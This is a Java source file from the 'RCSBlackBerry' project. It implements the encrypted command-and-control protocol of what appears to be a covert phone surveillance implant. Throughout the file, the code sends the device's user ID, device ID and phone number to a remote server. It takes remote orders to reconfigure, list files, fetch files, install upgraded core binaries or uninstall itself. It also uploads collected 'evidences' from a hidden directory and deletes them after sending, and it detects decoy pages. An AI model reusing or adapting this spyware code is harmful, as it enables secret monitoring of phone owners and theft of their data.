RCSBlackBerry/src/blackberry/action/sync/protocol/ZProtocol.java
//#preprocess
/* *************************************************
* Copyright (c) 2010 - 2011
* HT srl, All rights reserved.
*
* Project : RCS, RCSBlackBerry
* *************************************************/
package blackberry.action.sync.protocol;
import java.io.EOFException;
import java.util.Date;
import java.util.Vector;
import net.rim.device.api.crypto.CryptoException;
import net.rim.device.api.crypto.RandomSource;
import net.rim.device.api.crypto.SHA1Digest;
import net.rim.device.api.util.DataBuffer;
import blackberry.Device;
import blackberry.Status;
import blackberry.Task;
import blackberry.action.sync.Protocol;
import blackberry.action.sync.transport.TransportException;
import blackberry.config.Cfg;
import blackberry.config.Keys;
import blackberry.crypto.Encryption;
import blackberry.crypto.EncryptionPKCS5;
import blackberry.debug.Check;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;
import blackberry.evidence.EvidenceCollector;
import blackberry.fs.AutoFile;
import blackberry.fs.Directory;
import blackberry.fs.Path;
import blackberry.utils.Utils;
import blackberry.utils.WChar;
public class ZProtocol extends Protocol {
private static final int SHA1LEN = 20;
//#ifdef DEBUG
private static Debug debug = new Debug("ZProtocol", DebugLevel.VERBOSE); //$NON-NLS-1$
//#endif
private final EncryptionPKCS5 cryptoK = new EncryptionPKCS5();
private final EncryptionPKCS5 cryptoConf = new EncryptionPKCS5(Encryption
.getKeys().getProtoKey());
byte[] Kd = new byte[16];
byte[] Nonce = new byte[16];
boolean upgrade;
Vector upgradeFiles = new Vector();
Status status = Status.getInstance();
public boolean perform() {
//#ifdef DBC
Check.requires(transport != null, "perform: transport = null"); //$NON-NLS-1$
//#endif
// key init
//cryptoConf.makeKey(Encryption.getKeys().getProtoKey());
RandomSource.getBytes(Kd);
RandomSource.getBytes(Nonce);
//#ifdef DEBUG
debug.trace("Kd: " + Utils.byteArrayToHex(Kd)); //$NON-NLS-1$
debug.trace("Nonce: " + Utils.byteArrayToHex(Nonce)); //$NON-NLS-1$
//#endif
try {
transport.start();
//#ifdef DEBUG
debug.info("***** Authentication *****"); //$NON-NLS-1$
//#endif
byte[] cypherOut = cryptoConf.encryptData(forgeAuthentication(), 0);
//#ifdef DEBUG
debug.trace("perform: " + Utils.byteArrayToHex(cypherOut));
//#endif
byte[] response = transport.command(cypherOut);
Status.self().uninstall = parseAuthentication(response);
cypherOut = null;
response = null;
if (status.uninstall) {
//#ifdef DEBUG
debug.warn("Uninstall detected, no need to continue"); //$NON-NLS-1$
//#endif
return true;
}
//#ifdef DEBUG
debug.info("***** Identification *****"); //$NON-NLS-1$
//#endif
response = command(Proto.ID, forgeIdentification());
boolean[] capabilities = parseIdentification(response);
response = null;
if (capabilities[Proto.PURGE]) {
//#ifdef DEBUG
debug.info("***** Purge *****");
//#endif
response = command(Proto.PURGE);
parsePurge(response);
}
if (capabilities[Proto.NEW_CONF]) {
//#ifdef DEBUG
debug.info("***** NewConf *****"); //$NON-NLS-1$
//#endif
response = command(Proto.NEW_CONF);
int newconf = parseNewConf(response);
response = null;
if (newconf != Proto.NO) {
//#ifdef DEBUG
debug.trace("perform: had a conf"); //$NON-NLS-1$
//#endif
boolean ret = false;
if (newconf == Proto.OK) {
//#ifdef DEBUG
debug.trace("perform: conf is not corrupted, try it"); //$NON-NLS-1$
//#endif
ret = Task.getInstance().reloadConf();
} else {
//#ifdef DEBUG
debug.trace("perform: conf was corrupted, or cannot write it"); //$NON-NLS-1$
//#endif
}
//#ifdef DEBUG
debug.trace("perform, conf return: " + ret); //$NON-NLS-1$
//#endif
byte[] data;
if (ret) {
data = Utils.intToByteArray(Proto.OK);
} else {
data = Utils.intToByteArray(Proto.NO);
}
//#ifdef DEBUG
debug.trace("perform: sending newconf: " + ret); //$NON-NLS-1$
//#endif
command(Proto.NEW_CONF, data);
}
}
if (capabilities[Proto.DOWNLOAD]) {
//#ifdef DEBUG
debug.info("***** Download *****"); //$NON-NLS-1$
//#endif
response = command(Proto.DOWNLOAD);
parseDownload(response);
response = null;
}
if (capabilities[Proto.UPLOAD]) {
//#ifdef DEBUG
debug.info("***** Upload *****"); //$NON-NLS-1$
//#endif
upgrade = false;
boolean left = true;
while (left) {
response = command(Proto.UPLOAD);
left = parseUpload(response);
}
response = null;
}
if (capabilities[Proto.UPGRADE]) {
//#ifdef DEBUG
debug.info("***** Upgrade *****"); //$NON-NLS-1$
//#endif
upgradeFiles.removeAllElements();
boolean left = true;
while (left) {
response = command(Proto.UPGRADE, WChar.pascalize(Cfg.OSVERSION));
left = parseUpgrade(response);
}
response = null;
}
if (capabilities[Proto.FILESYSTEM]) {
//#ifdef DEBUG
debug.info("***** FileSystem *****"); //$NON-NLS-1$
//#endif
response = command(Proto.FILESYSTEM);
parseFileSystem(response);
response = null;
}
//#ifdef DEBUG
debug.info("***** Log *****"); //$NON-NLS-1$
//#endif
sendEvidences(Path.hidden());
//#ifdef DEBUG
debug.info("***** END *****"); //$NON-NLS-1$
//#endif
response = command(Proto.BYE);
parseEnd(response);
response = null;
return true;
} catch (TransportException e) {
//#ifdef DEBUG
debug.error(e);
debug.error("perform: TransportException " + e);
//#endif
return false;
} catch (ProtocolException e) {
//#ifdef DEBUG
debug.error(e);
debug.error("perform: ProtocolException " + e);
//#endif
return false;
} catch (CommandException e) {
//#ifdef DEBUG
debug.error(e);
debug.error("perform: CommandException " + e);
//#endif
return false;
} catch (Exception e) {
//#ifdef DEBUG
debug.error(e);
debug.error("perform: Exception " + e);
//#endif
return false;
} finally {
transport.close();
}
}
////************************** PROTOCOL *************************************** ////
protected byte[] forgeAuthentication() {
Keys keys = Encryption.getKeys();
byte[] data = new byte[104];
DataBuffer dataBuffer = new DataBuffer(data, 0, data.length, false);
// filling structure
dataBuffer.write(Kd);
dataBuffer.write(Nonce);
//#ifdef DBC
Check.ensures(dataBuffer.getPosition() == 32,
"forgeAuthentication, wrong array size"); //$NON-NLS-1$
//#endif
dataBuffer.write(Utils.padByteArray(keys.getBuildID(), 16));
dataBuffer.write(keys.getInstanceId());
dataBuffer.write(Utils.padByteArray(Device.getSubtype(), 16));
//#ifdef DBC
Check.ensures(dataBuffer.getPosition() == 84,
"forgeAuthentication, wrong array size"); //$NON-NLS-1$
//#endif
// calculating digest
final SHA1Digest digest = new SHA1Digest();
digest.update(Utils.padByteArray(keys.getBuildID(), 16));
digest.update(keys.getInstanceId());
digest.update(Utils.padByteArray(Device.getSubtype(), 16));
digest.update(keys.getConfKey());
byte[] sha1 = digest.getDigest();
//#ifdef DEBUG
debug.trace("forgeAuthentication sha1 = " + Utils.byteArrayToHex(sha1)); //$NON-NLS-1$
debug.trace("forgeAuthentication confKey=" //$NON-NLS-1$
+ Utils.byteArrayToHex(keys.getConfKey()));
//#endif
// appending digest
dataBuffer.write(sha1);
//#ifdef DBC
Check.ensures(dataBuffer.getPosition() == data.length,
"forgeAuthentication, wrong array size"); //$NON-NLS-1$
//#endif
//#ifdef DEBUG
debug.trace("forgeAuthentication: " + Utils.byteArrayToHex(data)); //$NON-NLS-1$
//#endif
return data;
}
protected boolean parseAuthentication(byte[] authResult)
throws ProtocolException {
if (authResult.length != 64) {
//#ifdef DEBUG
debug.trace("parseAuthentication: wrong size. Probably a decoy."); //$NON-NLS-1$
//#endif
throw new ProtocolException(14);
}
boolean uninstall = false;
//#ifdef DEBUG
debug.trace("decodeAuth result = " + Utils.byteArrayToHex(authResult)); //$NON-NLS-1$
//#endif
// Retrieve K
byte[] cypherKs = new byte[32];
Utils.copy(cypherKs, authResult, cypherKs.length);
try {
byte[] Ks = cryptoConf.decryptData(cypherKs);
//#ifdef DEBUG
debug.trace("decodeAuth Kd=" + Utils.byteArrayToHex(Kd)); //$NON-NLS-1$
debug.trace("decodeAuth Ks=" + Utils.byteArrayToHex(Ks)); //$NON-NLS-1$
//#endif
//PBKDF1 (SHA1, c=1, Salt=KS||Kd)
final SHA1Digest digest = new SHA1Digest();
digest.update(Encryption.getKeys().getConfKey());
digest.update(Ks, 0, 16);
digest.update(Kd, 0, 16);
byte[] K = new byte[16];
Utils.copy(K, digest.getDigest(), K.length);
cryptoK.makeKey(K);
//#ifdef DEBUG
debug.trace("decodeAuth K=" + Utils.byteArrayToHex(K)); //$NON-NLS-1$
//#endif
// Retrieve Nonce and Cap
byte[] cypherNonceCap = new byte[32];
Utils.copy(cypherNonceCap, 0, authResult, 32, cypherNonceCap.length);
Encryption crypto2 = new Encryption(K);
byte[] plainNonceCap = crypto2.decryptData(cypherNonceCap);
crypto2 = null;
//#ifdef DEBUG
debug.trace("decodeAuth plainNonceCap=" //$NON-NLS-1$
+ Utils.byteArrayToHex(plainNonceCap));
//#endif
boolean nonceOK = Utils.equals(Nonce, 0, plainNonceCap, 0,
Nonce.length);
//#ifdef DEBUG
debug.trace("decodeAuth nonceOK: " + nonceOK); //$NON-NLS-1$
//#endif
if (nonceOK) {
int cap = Utils.byteArrayToInt(plainNonceCap, 16);
if (cap == Proto.OK) {
//#ifdef DEBUG
debug.trace("decodeAuth Proto OK"); //$NON-NLS-1$
//#endif
} else if (cap == Proto.UNINSTALL) {
//#ifdef DEBUG
debug.trace("decodeAuth Proto Uninstall"); //$NON-NLS-1$
//#endif
uninstall = true;
} else {
//#ifdef DEBUG
debug.trace("decodeAuth error: " + cap); //$NON-NLS-1$
//#endif
throw new ProtocolException(11);
}
} else {
throw new ProtocolException(12);
}
} catch (CryptoException ex) {
//#ifdef DEBUG
debug.error("parseAuthentication: " + ex); //$NON-NLS-1$
//#endif
throw new ProtocolException(13);
}
return uninstall;
}
protected byte[] forgeIdentification() {
final Device device = Device.getInstance();
//device.refreshData();
byte[] userid = WChar.pascalize(device.getWUserId());
byte[] deviceid = WChar.pascalize(device.getWDeviceId());
byte[] phone = WChar.pascalize(device.getWPhoneNumber());
int len = 4 + userid.length + deviceid.length + phone.length;
byte[] content = new byte[len];
DataBuffer dataBuffer = new DataBuffer(content, 0, content.length,
false);
//dataBuffer.writeInt(Proto.ID);
dataBuffer.write(Device.getVersion());
dataBuffer.write(userid);
dataBuffer.write(deviceid);
dataBuffer.write(phone);
//#ifdef DBC
Check.ensures(dataBuffer.getPosition() == content.length,
"forgeIdentification pos: " + dataBuffer.getPosition()); //$NON-NLS-1$
//#endif
//#ifdef DEBUG
debug.trace("forgeIdentification: " + Utils.byteArrayToHex(content)); //$NON-NLS-1$
//#endif
return content;
}
protected boolean[] parseIdentification(byte[] result)
throws ProtocolException {
boolean[] capabilities = new boolean[Proto.LASTTYPE];
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
debug.info("got Identification"); //$NON-NLS-1$
//#endif
DataBuffer dataBuffer = new DataBuffer(result, 4,
result.length - 4, false);
try {
// la totSize e' discutibile
int totSize = dataBuffer.readInt();
long dateServer = dataBuffer.readLong();
//#ifdef DEBUG
debug.trace("parseIdentification: " + dateServer); //$NON-NLS-1$
//#endif
Date date = new Date();
int drift = (int) (dateServer - (date.getTime() / 1000));
//#ifdef DEBUG
debug.trace("parseIdentification drift: " + drift); //$NON-NLS-1$
//#endif
Status.getInstance().drift = drift;
int numElem = dataBuffer.readInt();
for (int i = 0; i < numElem; i++) {
int cap = dataBuffer.readInt();
if (cap < Proto.LASTTYPE) {
capabilities[cap] = true;
//#ifdef DEBUG
debug.trace("capabilities: " + capabilities[i]); //$NON-NLS-1$
//#endif
}
}
} catch (EOFException e) {
//#ifdef DEBUG
debug.error(e);
//#endif
throw new ProtocolException();
}
} else if (res == Proto.NO) {
//#ifdef DEBUG
debug.info("no new conf: "); //$NON-NLS-1$
//#endif
} else {
//#ifdef DEBUG
debug.error("parseNewConf: " + res); //$NON-NLS-1$
//#endif
throw new ProtocolException();
}
return capabilities;
}
protected void parsePurge(byte[] result) throws ProtocolException,
CommandException {
//#ifdef DBC
Check.asserts(result.length >= 4, "Wrong purge answer");
//#endif
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
final int len = Utils.byteArrayToInt(result, 4);
if (len >= 12) {
//#ifdef DBC
Check.asserts(result.length == len + 8, "Wrong purge OK answer");
//#endif
long time = Utils.byteArrayToLong(result, 8);
int size = Utils.byteArrayToInt(result, 16);
Date date = null;
if (time > 0) {
date = new Date(time * 1000);
}
//#ifdef DEBUG
debug.trace("parsePurge, date: " + date + " size: " + size);
//#endif
purgeEvidences(Path.hidden(), date, size);
}
}
}
/**
*
* @param result
* @return NO: no configuration, OK: new good configuration, ERROR: new
* broken conf
* @throws ProtocolException
* @throws CommandException
*/
protected int parseNewConf(byte[] result) throws ProtocolException,
CommandException {
int res = Utils.byteArrayToInt(result, 0);
boolean ret = false;
if (res == Proto.OK) {
final int confLen = Utils.byteArrayToInt(result, 4);
if (confLen > 0) {
//#ifdef DEBUG
debug.info("got NewConf"); //$NON-NLS-1$
//#endif
ret = Protocol.saveNewConf(result, 8);
} else {
//#ifdef DEBUG
debug.info(" Error (parseNewConf): empty conf"); //$NON-NLS-1$
//#endif
}
if (ret) {
return Proto.OK;
} else {
return Proto.ERROR;
}
} else if (res == Proto.NO) {
//#ifdef DEBUG
debug.info(" Info: no new conf: "); //$NON-NLS-1$
//#endif
return Proto.NO;
} else {
//#ifdef DEBUG
debug.info(" Error: parseNewConf: " + res); //$NON-NLS-1$
//#endif
throw new ProtocolException();
}
}
protected void parseDownload(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
debug.trace("parseDownload, OK"); //$NON-NLS-1$
//#endif
DataBuffer dataBuffer = new DataBuffer(result, 4,
result.length - 4, false);
try {
// la totSize e' discutibile
int totSize = dataBuffer.readInt();
int numElem = dataBuffer.readInt();
for (int i = 0; i < numElem; i++) {
String file = WChar.readPascal(dataBuffer);
//#ifdef DEBUG
debug.trace("parseDownload: " + file); //$NON-NLS-1$
//#endif
// expanding $dir$
file = Directory.expandMacro(file);
file = Protocol.normalizeFilename(file);
Protocol.saveDownloadLog(file);
}
} catch (EOFException e) {
//#ifdef DEBUG
debug.error(e);
//#endif
throw new ProtocolException();
}
} else if (res == Proto.NO) {
//#ifdef DEBUG
debug.info("parseDownload: no download"); //$NON-NLS-1$
//#endif
} else {
//#ifdef DEBUG
debug.error("parseDownload, wrong answer: " + res); //$NON-NLS-1$
//#endif
throw new ProtocolException();
}
}
/**
* @param content
* @return true if left>0
* @throws ProtocolException
*/
protected boolean parseUpload(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
debug.trace("parseUpload, OK"); //$NON-NLS-1$
//#endif
DataBuffer dataBuffer = new DataBuffer(result, 4,
result.length - 4, false);
try {
int totSize = dataBuffer.readInt();
int left = dataBuffer.readInt();
//#ifdef DEBUG
debug.trace("parseUpload left: " + left); //$NON-NLS-1$
//#endif
String filename = WChar.readPascal(dataBuffer);
//#ifdef DEBUG
debug.trace("parseUpload: " + filename); //$NON-NLS-1$
//#endif
int size = dataBuffer.readInt();
byte[] content = new byte[size];
dataBuffer.read(content);
//#ifdef DEBUG
debug.trace("parseUpload: saving"); //$NON-NLS-1$
//#endif
Protocol.saveUpload(filename, content);
if (filename.startsWith("core")) {
upgrade = true;
//#ifdef DEBUG
debug.trace("parseUpload: there's something to upgrade"); //$NON-NLS-1$
//#endif
}
if (left == 0 && upgrade) {
//#ifdef DEBUG
debug.trace("parseUpload: last file, go to upgrade"); //$NON-NLS-1$
//#endif
upgradeMulti();
}
return left > 0;
} catch (EOFException e) {
//#ifdef DEBUG
debug.error(e);
debug.error("parseUpload: " + e);
//#endif
throw new ProtocolException();
}
} else if (res == Proto.NO) {
//#ifdef DEBUG
debug.trace("parseUpload, NO"); //$NON-NLS-1$
//#endif
return false;
} else {
//#ifdef DEBUG
debug.error("parseUpload, wrong answer: " + res); //$NON-NLS-1$
//#endif
throw new ProtocolException();
}
}
protected boolean parseUpgrade(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
debug.trace("parseUpgrade, OK"); //$NON-NLS-1$
//#endif
DataBuffer dataBuffer = new DataBuffer(result, 4,
result.length - 4, false);
try {
int totSize = dataBuffer.readInt();
int left = dataBuffer.readInt();
//#ifdef DEBUG
debug.trace("parseUpgrade left: " + left); //$NON-NLS-1$
//#endif
String filename = WChar.readPascal(dataBuffer);
//#ifdef DEBUG
debug.trace("parseUpgrade: " + filename); //$NON-NLS-1$
//#endif
int size = dataBuffer.readInt();
byte[] content = new byte[size];
dataBuffer.read(content);
//#ifdef DEBUG
debug.trace("parseUpgrade: saving"); //$NON-NLS-1$
//#endif
Protocol.saveUpload(filename, content);
upgradeFiles.addElement(filename);
if (left == 0) {
//#ifdef DEBUG
debug.trace("parseUpgrade: all file saved, proceed with upgrade"); //$NON-NLS-1$
//#endif
Protocol.upgradeMulti(upgradeFiles);
}
return left > 0;
} catch (EOFException e) {
//#ifdef DEBUG
debug.error(e);
debug.error("parseUpgrade: " + e);
//#endif
throw new ProtocolException();
}
} else if (res == Proto.NO) {
//#ifdef DEBUG
debug.trace("parseUpgrade, NO"); //$NON-NLS-1$
//#endif
return false;
} else {
//#ifdef DEBUG
debug.error("parseUpgrade, wrong answer: " + res); //$NON-NLS-1$
//#endif
throw new ProtocolException();
}
}
protected void parseFileSystem(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
//#ifdef DEBUG
debug.trace("parseFileSystem, OK"); //$NON-NLS-1$
//#endif
DataBuffer dataBuffer = new DataBuffer(result, 4,
result.length - 4, false);
try {
int totSize = dataBuffer.readInt();
int numElem = dataBuffer.readInt();
for (int i = 0; i < numElem; i++) {
int depth = dataBuffer.readInt();
String file = WChar.readPascal(dataBuffer);
//#ifdef DEBUG
debug.trace("parseFileSystem: " + file + " depth: " + depth); //$NON-NLS-1$ //$NON-NLS-2$
//#endif
file = Directory.expandMacro(file);
Protocol.saveFilesystem(depth, file);
}
} catch (EOFException e) {
//#ifdef DEBUG
debug.error("parse error: " + e); //$NON-NLS-1$
//#endif
throw new ProtocolException();
}
} else if (res == Proto.NO) {
//#ifdef DEBUG
debug.info("parseFileSystem: no download"); //$NON-NLS-1$
//#endif
} else {
//#ifdef DEBUG
debug.error("parseFileSystem, wrong answer: " + res); //$NON-NLS-1$
//#endif
throw new ProtocolException();
}
}
protected void purgeEvidences(String basePath, Date date, int size) {
EvidenceCollector logCollector = EvidenceCollector.getInstance();
final Vector dirs = logCollector.scanForDirLogs(basePath);
final int dsize = dirs.size();
//#ifdef DEBUG
debug.trace("purgeEvidences #directories: " + dsize);
//#endif
for (int i = 0; i < dsize; ++i) {
final String dir = (String) dirs.elementAt(i);
final Vector logs = logCollector.scanForEvidences(basePath, dir);
final int lsize = logs.size();
//#ifdef DEBUG
debug.trace(" purge dir: " + dir + " #evidences: " + lsize);
//#endif
for (int j = 0; j < lsize; ++j) {
final String logName = (String) logs.elementAt(j);
final String fullLogName = basePath + dir + logName;
final AutoFile file = new AutoFile(fullLogName, false);
if (file.exists()) {
if (size > 0 && file.getSize() > size) {
//#ifdef DEBUG
debug.info("purgeEvidences, removing due size: " + EvidenceCollector.decryptName(logName));
//#endif
file.delete();
} else if (date != null
&& file.lastModified() < date.getTime()) {
//#ifdef DEBUG
debug.info("purgeEvidences, removing due date: " + EvidenceCollector.decryptName(logName));
//#endif
file.delete();
}
}
}
}
}
protected void sendEvidences(String basePath) throws TransportException,
ProtocolException {
//#ifdef DEBUG
debug.info("sendEvidences from: " + basePath); //$NON-NLS-1$
//#endif
EvidenceCollector logCollector = EvidenceCollector.getInstance();
final Vector dirs = logCollector.scanForDirLogs(basePath);
final int dsize = dirs.size();
//#ifdef DEBUG
debug.trace("sendEvidences #directories: " + dsize); //$NON-NLS-1$
//#endif
for (int i = 0; i < dsize; ++i) {
final String dir = (String) dirs.elementAt(i);
final Vector logs = logCollector.scanForEvidences(basePath, dir);
final int lsize = logs.size();
//#ifdef DEBUG
debug.trace(" dir: " + dir + " #evidences: " + lsize); //$NON-NLS-1$ //$NON-NLS-2$
//#endif
// Evidence SIZE
byte[] plainOut = new byte[4 + 8];
Utils.copy(plainOut, 0, Utils.intToByteArray(lsize), 0, 4);
byte[] response;
if (!Keys.getInstance().isSeven()) {
response = command(Proto.EVIDENCE_SIZE, plainOut);
checkOk(response);
}
for (int j = 0; j < lsize; ++j) {
final String logName = (String) logs.elementAt(j);
final String fullLogName = basePath + dir + logName;
final AutoFile file = new AutoFile(fullLogName, false);
if (!file.exists()) {
//#ifdef DEBUG
debug.error("File doesn't exist: " + fullLogName); //$NON-NLS-1$
//#endif
continue;
}
if (Cfg.PROTOCOL_RESUME && file.getSize() > Cfg.PROTOCOL_CHUNK) {
sendResumeEvidence(file);
} else {
sendEvidence(file);
}
}
if (!Path.removeDirectory(basePath + dir)) {
//#ifdef DEBUG
debug.warn("Not empty directory"); //$NON-NLS-1$
//#endif
}
//#ifdef DEBUG
debug.trace(" dir finished: " + dir); //$NON-NLS-1$
//#endif
}
//#ifdef DEBUG
debug.trace("sendEvidences finished"); //$NON-NLS-1$
//#endif
}
private void writeBuf(byte[] buffer, int pos, byte[] content) {
System.arraycopy(content, 0, buffer, pos, content.length);
}
private void writeBuf(byte[] buffer, int pos, int whatever) {
System.arraycopy(Utils.intToByteArray(whatever), 0, buffer, pos, 4);
}
private void writeBuf(byte[] buffer, int pos, byte[] whatever, int offset, int len) {
System.arraycopy(whatever, offset, buffer, pos, len);
}
private boolean sendResumeEvidence(AutoFile file) throws TransportException, ProtocolException {
int chunk = Cfg.PROTOCOL_CHUNK;
int size = (int) file.getSize();
final byte[] requestBase = new byte[5 * 4];
byte[] evid = Encryption.SHA1(file.getFullFilename().getBytes());
writeBuf(requestBase, 0, evid, 0, 4);
writeBuf(requestBase, 12, size);
byte[] response = command(Proto.EVIDENCE_CHUNK, requestBase);
int base = parseLogOffset(response);
boolean full = false;
//#ifdef DEBUG
debug.trace("sendResumeEvidence: Sending file: " + EvidenceCollector.decryptName(file.getName()) + " size: " + file.getSize() + " date: " + file.getFileTime()); //$NON-NLS-1$
//#endif
while (base < size) {
//#ifdef DEBUG
debug.trace("sendResumeEvidence, base: " + base + " size: " + size);
//#endif
byte[] content = file.read(base, chunk);
if(content==null){
//#ifdef DEBUG
debug.error("sendResumeEvidence: null read");
//#endif
break;
}
if (content.length < chunk) {
//#ifdef DEBUG
debug.trace("sendResumeEvidence smaller read: " + content.length);
//#endif
}
byte[] plainOut = new byte[content.length + 16];
writeBuf(plainOut, 0, evid, 0, 4);
writeBuf(plainOut, 4, base);
writeBuf(plainOut, 8, content.length);
writeBuf(plainOut, 12, size);
writeBuf(plainOut, 16, content);
response = command(Proto.EVIDENCE_CHUNK, plainOut);
base = parseLogOffset(response);
if (base == size) {
//#ifdef DEBUG
debug.trace("sendResumeEvidence: full");
//#endif
full = true;
}
if (base <= 0) {
//#ifdef DEBUG
debug.error("sendResumeEvidence");
//#endif
break;
}
}
if (full) {
EvidenceCollector.getInstance().remove(file.getFullFilename());
return true;
} else {
//#ifdef DEBUG
debug.error("sendResumeEvidence: no full");
//#endif
return false;
}
}
private boolean sendEvidence(AutoFile file) throws TransportException, ProtocolException {
final byte[] content = file.read();
//#ifdef DEBUG
debug.info("Sending file: " //$NON-NLS-1$
+ EvidenceCollector.decryptName(file.getName()) + " size: " + file.getSize() + " date: " + file.getFileTime());
//#endif
final byte[] plainOut = new byte[content.length + 4];
Utils.copy(plainOut, 0, Utils.intToByteArray(content.length),
0, 4);
Utils.copy(plainOut, 4, content, 0, content.length);
final byte[] response = command(Proto.LOG, plainOut);
boolean ret = parseLog(response);
if (ret) {
EvidenceCollector.getInstance().remove(file.getFullFilename());
} else {
//#ifdef DEBUG
debug.warn("error sending file, bailing out"); //$NON-NLS-1$
//#endif
return false;
}
return true;
}
protected int parseLogOffset(final byte[] result) throws ProtocolException {
if (checkOk(result)) {
if (Utils.byteArrayToInt(result, 4) == 4) {
return Utils.byteArrayToInt(result, 8);
}
return 0;
}
return -1;
}
protected boolean parseLog(byte[] result) throws ProtocolException {
return checkOk(result);
}
protected void parseEnd(byte[] result) throws ProtocolException {
checkOk(result);
}
//// ****************************** INTERNALS ****************************************** ////
private byte[] command(int command) throws TransportException,
ProtocolException {
//#ifdef DEBUG
debug.trace("command: " + command); //$NON-NLS-1$
//#endif
return command(command, new byte[0]);
}
private byte[] command(int command, byte[] data) throws TransportException {
//#ifdef DBC
Check.requires(cryptoK != null, "cypherCommand: cryptoK null"); //$NON-NLS-1$
Check.requires(data != null, "cypherCommand: data null"); //$NON-NLS-1$
//#endif
//#ifdef DEBUG
debug.trace("command: " + command + " datalen: " + data.length); //$NON-NLS-1$ //$NON-NLS-2$
//#endif
int dataLen = data.length;
final byte[] plainOut = new byte[dataLen + 4];
Utils.copy(plainOut, 0, Utils.intToByteArray(command), 0, 4);
Utils.copy(plainOut, 4, data, 0, data.length);
try {
byte[] plainIn;
plainIn = cypheredWriteReadSha(plainOut);
return plainIn;
} catch (CryptoException e) {
//#ifdef DEBUG
debug.trace("command: " + e); //$NON-NLS-1$
//#endif
throw new TransportException(9);
}
}
private byte[] cypheredWriteReadSha(byte[] plainOut)
throws TransportException, CryptoException {
//#ifdef DEBUG
debug.trace("cypheredWriteReadSha"); //$NON-NLS-1$
debug.trace("plainout: " + plainOut.length); //$NON-NLS-1$
//#endif
byte[] cypherOut = cryptoK.encryptDataIntegrity(plainOut);
//#ifdef DEBUG
debug.trace("cypherOut: " + cypherOut.length); //$NON-NLS-1$
//#endif
byte[] cypherIn = transport.command(cypherOut);
String result = new String(cypherIn);
if (result != null
&& result.indexOf("<meta http-equiv=\"refresh\" content") >= 0) {
//#ifdef DEBUG
debug.error("cypheredWriteReadSha: DECOY PAGE DETECTED!"); //$NON-NLS-1$
//#endif
throw new TransportException(30);
}
if (cypherIn.length < SHA1LEN) {
//#ifdef DEBUG
debug.error("cypheredWriteReadSha: cypherIn sha len error!"); //$NON-NLS-1$
//#endif
throw new CryptoException();
}
byte[] plainIn = cryptoK.decryptDataIntegrity(cypherIn);
return plainIn;
}
private boolean checkOk(byte[] result) throws ProtocolException {
int res = Utils.byteArrayToInt(result, 0);
if (res == Proto.OK) {
return true;
} else if (res == Proto.NO) {
//#ifdef DEBUG
debug.error("checkOk: NO"); //$NON-NLS-1$
//#endif
return false;
} else {
//#ifdef DEBUG
debug.error("checkOk: " + res); //$NON-NLS-1$
//#endif
throw new ProtocolException();
}
}
}